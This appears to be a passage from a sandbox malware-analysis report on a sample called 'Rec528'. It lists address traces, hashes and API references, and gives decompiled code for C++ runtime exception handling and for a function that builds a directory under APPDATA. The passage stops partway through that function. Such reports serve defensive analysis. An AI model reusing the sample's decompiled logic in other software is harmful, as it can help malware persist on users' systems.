0x00412288
0x0041227a
0x0041231c
0x0041231f
0x00412320
0x00412323
0x00412326
0x00412329
0x0041232c
0x0041232c
0x00412335
0x00412338
0x00412338
0x00412250
0x0041233b
0x0041233f
0x00412341
0x00412344
0x0041234a
0x0041234a
0x00412352
0x00412357
0x004123c5
0x004123c5
0x004123ca
0x004123ce
0x00000000
0x00000000
0x00000000
0x00000000
0x00412359
0x00412359
0x0041235d
0x0041236f
0x00412372
0x00412375
0x00412377
0x0041238e
0x00412392
0x00412398
0x00412399
0x0041239b
0x00000000
0x0041239d
0x00000000
0x0041239d
0x00412379
0x0041237e
0x00412381
0x00412386
0x00412389
0x00000000
0x00412389
0x0041235f
0x00412362
0x00412365
0x00412367
0x00000000
0x00412369
0x00412369
0x0041236d
0x00000000
0x00000000
0x00000000
0x00000000
0x0041236d
0x00412367
0x0041235d
0x00412207
0x00412207
0x0041220e
0x00000000
0x00412210
0x00412210
0x00412217
0x00000000
0x00000000
0x00000000
0x00000000
0x00412217
0x0041220e
0x00412205
0x004121f8
0x00412178
0x00412180
0x00412183
0x00412188
0x0041218c
0x0041218f
0x00412195
0x00412198
0x00000000
0x0041219a
0x0041219a
0x0041219d
0x0041219f
0x004123d5
0x004123d5
0x00000000
0x004121a5
0x004121ad
0x004121b8
0x00000000
0x00000000
0x004121c1
0x004121c4
0x004121c5
0x004121c8
0x004121ca
0x00000000
0x004121d0
0x00000000
0x004121d0
0x00000000
0x004121ca
0x004121a5
0x004123da
0x004123da
0x004123dc
0x004123dd
0x004123e4
0x004123e7
0x004123f5
0x004123fa
0x004123ff
0x00412402
0x00412407
0x0041240a
0x0041240d
0x0041240f
0x00412411
0x00412411
0x00412416
0x00412422
0x00412428
0x0041242d
0x00412430
0x00412431
0x00000000
0x00412431
0x00412198
0x00412176
0x00412136
0x00412117
0x00412109
0x004120d5

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0041218F
type_info::operator==.LIBVCRUNTIME ref: 004121B1
___TypeMatch.LIBVCRUNTIME ref: 004122C0
IsInExceptionSpec.LIBVCRUNTIME ref: 00412392
_UnwindNestedFrames.LIBCMT ref: 00412416
CallUnexpected.LIBVCRUNTIME ref: 00412431

Strings

csm, xrefs: 004121E8
csm, xrefs: 004120CF
csm, xrefs: 0041213C

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: e5d23d28f358b2e8c92ce666bbf2ad1a2d22d1c8777d4e261d8313f8a4198487
Instruction ID: ccb85f8cc84387cfbec14de75b6a1ccab12559c264fdf59c1e8d4f4ede46b13c
Opcode Fuzzy Hash: e5d23d28f358b2e8c92ce666bbf2ad1a2d22d1c8777d4e261d8313f8a4198487
Instruction Fuzzy Hash: CBB18E71800209EFCF18DFA5DA809DFB7B5FF18314B14415BE910AB251D3B8EAA1CB99

Uniqueness

Uniqueness Score: -1.00%

Function 100040D1 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 63%

			E100040D1(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E10005038(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E100068B8(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E10003D8C(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E10003D8C(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E100033F6(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E10003329(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push("true");
										E10004051(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E100068B8(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E10003D8C(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E10003D8C(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E10003D8C(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E10003D8C(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E10003329(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E10004051(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push("true");
														E100036DF(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E10003D8C(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E10004AE0(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E10003D8C(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E10003D8C(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E10003D8C(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E10003D8C(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E10004AE0(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E1000687C(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E10004774( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x100178d0) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push("true");
											_push(_t274);
											E100036DF(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E1000475C( &_v64);
											E10003908( &_v64, 0x1001589c);
											L63:
											 *(E10003D8C(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E10003D8C(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E1000351C(_t279, _t319, _t274);
											E100049E0(_a8, _a16, _t305);
											_t235 = E10004B9D(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E10004957(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x100040d1
0x100040d8
0x100040da
0x100040e3
0x100040e9
0x100040f1
0x100040f3
0x100040f6
0x100040fc
0x10004475
0x10004475
0x1000447a
0x1000447c
0x1000447e
0x10004481
0x10004482
0x10004485
0x1000448b
0x100045aa
0x10004491
0x10004491
0x10004492
0x10004493
0x1000449a
0x1000449d
0x100044a0
0x100044a6
0x100044a8
0x100044ad
0x100044b0
0x100044b2
0x100044b8
0x100044ba
0x100044c0
0x100044d5
0x100044da
0x100044dd
0x100044df
0x100045a6
0x00000000
0x100045a7
0x100044df
0x100044c0
0x100044b8
0x100044b0
0x100044e5
0x100044e8
0x100044eb
0x100044ee
0x100044f1
0x100044f7
0x10004509
0x1000450e
0x10004511
0x10004514
0x10004517
0x1000451a
0x1000451d
0x10004520
0x00000000
0x00000000
0x10004526
0x10004526
0x10004529
0x1000452c
0x1000453b
0x1000453c
0x1000453c
0x1000453e
0x10004541
0x00000000
0x00000000
0x10004543
0x10004546
0x00000000
0x00000000
0x10004554
0x10004556
0x10004559
0x1000455b
0x10004563
0x10004563
0x10004566
0x10004568
0x1000456a
0x10004586
0x1000458b
0x1000458e
0x1000458e
0x00000000
0x10004566
0x1000455d
0x10004561
0x00000000
0x00000000
0x00000000
0x10004591
0x10004594
0x10004595
0x10004598
0x1000459b
0x1000459e
0x100045a1
0x100045a1
0x00000000
0x1000452c
0x100045ab
0x100045b0
0x100045b1
0x100045b4
0x100045b7
0x100045b8
0x100045b9
0x100045ba
0x100045bd
0x100045bf
0x10004637
0x10004639
0x10004639
0x100045c1
0x100045c1
0x100045c4
0x100045c7
0x00000000
0x100045c9
0x100045c9
0x100045cc
0x100045cf
0x100045d6
0x100045d6
0x100045d9
0x100045db
0x100045dd
0x1000460f
0x1000460f
0x10004612
0x10004619
0x10004619
0x1000461c
0x1000461f
0x10004626
0x10004626
0x10004629
0x10004630
0x10004632
0x10004632
0x1000462b
0x1000462b
0x1000462e
0x00000000
0x00000000
0x1000462e
0x10004621
0x10004621
0x10004624
0x00000000
0x00000000
0x10004624
0x10004614
0x10004614
0x10004617
0x00000000
0x00000000
0x10004617
0x10004633
0x100045df
0x100045df
0x100045df
0x100045e2
0x100045e2
0x100045e4
0x100045e6
0x00000000
0x00000000
0x100045e8
0x100045ea
0x100045fe
0x100045fe
0x100045ec
0x100045ec
0x100045ef
0x100045f2
0x00000000
0x100045f4
0x100045f4
0x100045f7
0x100045fa
0x100045fc
0x00000000
0x00000000
0x00000000
0x00000000
0x100045fc
0x100045f2
0x10004607
0x10004607
0x10004609
0x00000000
0x1000460b
0x1000460b
0x1000460b
0x00000000
0x10004609
0x10004602
0x10004604
0x10004604
0x00000000
0x10004604
0x100045d1
0x100045d1
0x100045d4
0x00000000
0x00000000
0x00000000
0x00000000
0x100045d4
0x100045cf
0x100045c7
0x1000463a
0x1000463e
0x1000463e
0x1000410b
0x1000410b
0x10004114
0x10004211
0x10004211
0x10004214
0x00000000
0x10004143
0x10004143
0x10004148
0x00000000
0x1000414e
0x1000414e
0x10004156
0x1000440f
0x10004413
0x1000415c
0x10004161
0x10004164
0x10004169
0x10004170
0x10004175
0x00000000
0x100041ad
0x100041b5
0x10004219
0x10004219
0x1000421c
0x1000421f
0x10004221
0x10004224
0x10004227
0x1000422d
0x100043de
0x100043de
0x100043e1
0x00000000
0x100043e3
0x100043e3
0x100043e6
0x00000000
0x100043ec
0x100043ec
0x100043ef
0x100043f2
0x100043f3
0x100043f4
0x100043f7
0x100043f8
0x100043fb
0x100043fc
0x10004401
0x00000000
0x10004401
0x100043e6
0x10004233
0x10004233
0x10004237
0x00000000
0x1000423d
0x1000423d
0x10004244
0x1000425c
0x1000425c
0x1000425f
0x10004262
0x10004268
0x10004278
0x1000427d
0x10004280
0x10004283
0x10004286
0x10004289
0x1000428c
0x1000428f
0x10004295
0x10004295
0x10004298
0x1000429b
0x100042aa
0x100042ab
0x100042ab
0x100042ad
0x100042b0
0x100042b6
0x100042b9
0x100042bf
0x100042c1
0x100042c4
0x100042c7
0x100042d0
0x100042d3
0x100042d5
0x100042d5
0x100042d8
0x100042db
0x100042de
0x100042e1
0x100042e4
0x100042e9
0x100042ea
0x100042eb
0x100042ec
0x100042ed
0x100042f0
0x100042f2
0x100042f4
0x00000000
0x100042f6
0x100042f6
0x100042f6
0x100042f9
0x100042fc
0x100042fe
0x100042ff
0x10004304
0x10004307
0x10004309
0x00000000
0x00000000
0x1000430b
0x1000430c
0x1000430f
0x10004311
0x00000000
0x10004313
0x10004313
0x10004316
0x10004319
0x00000000
0x10004319
0x00000000
0x10004311
0x1000432d
0x10004333
0x10004350
0x10004355
0x10004355
0x10004358
0x10004358
0x00000000
0x1000431c
0x1000431c
0x1000431d
0x10004320
0x10004323
0x10004326
0x10004326
0x00000000
0x1000432b
0x100042c7
0x100042b9
0x1000435b
0x1000435e
0x1000435f
0x10004362
0x10004365
0x10004368
0x1000436b
0x1000436b
0x10004374
0x10004377
0x10004377
0x1000428f
0x1000437a
0x1000437e
0x10004380
0x10004383
0x10004389
0x10004389
0x10004391
0x10004396
0x10004404
0x10004404
0x10004409
0x1000440d
0x00000000
0x00000000
0x00000000
0x00000000
0x10004398
0x10004398
0x1000439c
0x100043ae
0x100043b1
0x100043b4
0x100043b6
0x100043cd
0x100043d1
0x100043d7
0x100043d8
0x100043da
0x00000000
0x100043dc
0x00000000
0x100043dc
0x100043b8
0x100043bd
0x100043c0
0x100043c5
0x100043c8
0x00000000
0x100043c8
0x1000439e
0x100043a1
0x100043a4
0x100043a6
0x00000000
0x100043a8
0x100043a8
0x100043ac
0x00000000
0x00000000
0x00000000
0x00000000
0x100043ac
0x100043a6
0x1000439c
0x10004246
0x10004246
0x1000424d
0x00000000
0x1000424f
0x1000424f
0x10004256
0x00000000
0x00000000
0x00000000
0x00000000
0x10004256
0x1000424d
0x10004244
0x10004237
0x100041b7
0x100041bf
0x100041c2
0x100041c7
0x100041cb
0x100041ce
0x100041d4
0x100041d7
0x00000000
0x100041d9
0x100041d9
0x100041dc
0x100041de
0x10004414
0x10004414
0x00000000
0x100041e4
0x100041ec
0x100041f7
0x00000000
0x00000000
0x10004200
0x10004203
0x10004204
0x10004207
0x10004209
0x00000000
0x1000420f
0x00000000
0x1000420f
0x00000000
0x10004209
0x100041e4
0x10004419
0x10004419
0x1000441b
0x1000441c
0x10004423
0x10004426
0x10004434
0x10004439
0x1000443e
0x10004441
0x10004446
0x10004449
0x1000444c
0x1000444e
0x10004450
0x10004450
0x10004455
0x10004461
0x10004467
0x1000446c
0x1000446f
0x10004470
0x00000000
0x10004470
0x100041d7
0x100041b5
0x10004175
0x10004156
0x10004148
0x10004114

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 100041CE
type_info::operator==.LIBVCRUNTIME ref: 100041F0
___TypeMatch.LIBVCRUNTIME ref: 100042FF
IsInExceptionSpec.LIBVCRUNTIME ref: 100043D1
_UnwindNestedFrames.LIBCMT ref: 10004455
CallUnexpected.LIBVCRUNTIME ref: 10004470

Strings

csm, xrefs: 1000417B
csm, xrefs: 10004227
csm, xrefs: 1000410E

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: c9310147905b7478ff4c788d929fc80281786d778b145132e007333c26a4496a
Instruction ID: 9895bfe6ee968b5b993bcac0bc1cc203535052d4e5567663f90001d50e574e89
Opcode Fuzzy Hash: c9310147905b7478ff4c788d929fc80281786d778b145132e007333c26a4496a
Instruction Fuzzy Hash: A6B19FB5D00209EFEF05DF94D88199EBBB5FF04390B12415AF8116B21ADB31EA61CB99

Uniqueness

Uniqueness Score: -1.00%

Function 10001C58 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E10001C58(void* __ebx, struct _SECURITY_ATTRIBUTES** __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t61;
				struct _SECURITY_ATTRIBUTES* _t63;
				signed int _t65;
				void* _t67;
				intOrPtr* _t86;
				struct _SECURITY_ATTRIBUTES* _t87;
				signed int _t90;
				void* _t91;
				intOrPtr _t105;
				intOrPtr _t108;
				struct _SECURITY_ATTRIBUTES* _t111;
				void* _t112;
				intOrPtr* _t115;
				struct _SECURITY_ATTRIBUTES* _t116;
				signed int _t118;
				intOrPtr* _t128;
				intOrPtr* _t137;
				intOrPtr* _t139;
				intOrPtr* _t141;
				void* _t146;
				void* _t147;
				struct _SECURITY_ATTRIBUTES** _t150;
				void* _t151;
				signed int _t162;

				_t148 = __edi;
				E1000E879(0x1000fc99, __ebx, __edi, __esi);
				_t150 = __ecx;
				 *((intOrPtr*)(_t151 - 0x240)) = __ecx;
				_t111 = 0;
				 *((intOrPtr*)(_t151 - 0x240)) = __ecx;
				 *((intOrPtr*)(_t151 - 0x23c)) = 0;
				 *((intOrPtr*)(_t151 - 0x22c)) = 0;
				 *(_t151 - 0x228) = 0xf;
				 *((char*)(_t151 - 0x23c)) = 0;
				_t61 = _t151 - 0x11c;
				 *(_t151 - 4) = 0;
				__imp__SHGetFolderPathA(0, 0x1a, 0, 0, _t61, 0x264);
				if(_t61 < 0) {
					_t141 = E10005A63(0, __edi, __ecx, __eflags, "APPDATA");
					_t115 = _t141;
					_t148 = _t115 + 1;
					do {
						_t63 =  *_t115;
						_t115 = _t115 + 1;
						__eflags = _t63;
					} while (_t63 != 0);
					_t116 = _t115 - _t148;
					__eflags = _t116;
					_push(_t116);
					_push(_t141);
				} else {
					_t139 = _t151 - 0x11c;
					_t147 = _t139 + 1;
					do {
						_t108 =  *_t139;
						_t139 = _t139 + 1;
						_t154 = _t108;
					} while (_t108 != 0);
					_push(_t139 - _t147);
					_push(_t151 - 0x11c);
				}
				E1000183D(_t151 - 0x23c);
				_t65 = E10005944(_t151 - 0x23c, _t154);
				_t118 = 7;
				asm("cdq");
				_t119 = _t151 - 0x270;
				_t67 = E10001BB9(_t111, _t151 - 0x270, _t65 % _t118 + 5, _t148, _t150, _t154);
				 *(_t151 - 4) = 1;
				E100019AC(_t151 - 0x258, E10002439(_t67, _t151 - 0x270, _t119, "true"));
				 *(_t151 - 4) = 2;
				_t71 =  >=  ?  *((void*)(_t151 - 0x258)) : _t151 - 0x258;
				E100021D6(_t151 - 0x23c,  >=  ?  *((void*)(_t151 - 0x258)) : _t151 - 0x258,  *((intOrPtr*)(_t151 - 0x248)));
				E10001B3F(_t151 - 0x258);
				 *(_t151 - 4) = _t111;
				E10001B3F(_t151 - 0x270);
				_t76 =  >=  ?  *((void*)(_t151 - 0x23c)) : _t151 - 0x23c;
				if(CreateDirectoryA( >=  ?  *((void*)(_t151 - 0x23c)) : _t151 - 0x23c, _t111) != 0) {
					L21:
					E100019AC(_t150, _t151 - 0x23c);
				} else {
